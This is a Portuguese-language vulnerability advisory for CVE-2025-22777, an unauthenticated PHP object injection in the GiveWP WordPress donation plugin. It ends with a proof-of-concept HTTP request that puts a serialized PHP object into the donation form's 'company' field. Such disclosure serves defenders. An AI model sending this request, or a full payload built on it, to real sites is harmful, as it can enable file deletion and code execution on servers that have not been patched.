CVE-2025-22777

GiveWP – Plugin de Doações e Plataforma de Arrecadação de Fundos <= 3.19.3 - Injeção de Objeto PHP Não Autenticada

Descrição

O plugin GiveWP – Plugin de Doações e Plataforma de Arrecadação de Fundos para WordPress é vulnerável a Injeção de Objeto PHP em todas as versões até, e incluindo, 3.19.3, por meio da desserialização de entrada não confiável do formulário de doação através do parâmetro 'company'. Isso possibilita que atacantes não autenticados injetem um Objeto PHP. A presença adicional de uma cadeia POP permite que atacantes excluam arquivos arbitrários no servidor, o que torna possível a execução remota de código. Observe que isso cobre um bypass da correção para CVE-2024-12877.

Detalhes

• Tipo: plugin
• Slug: give
• Versão Afetada: 3.19.3
• Pontuação CVSS: 9.8
• Classificação CVSS: Crítica
• Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2025-22777
• Status: Ativo

PoC

POST /?givewp-route=donate&givewp-route-signature=[SIGNATURE]&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=[EXPIRY] HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

amount=10&currency=USD&gatewayId=manual&formId=90&company=O:20:"PHP_Object_Injection":0:{}&firstName=Test&[email protected]&donationType=single&donationBirthday=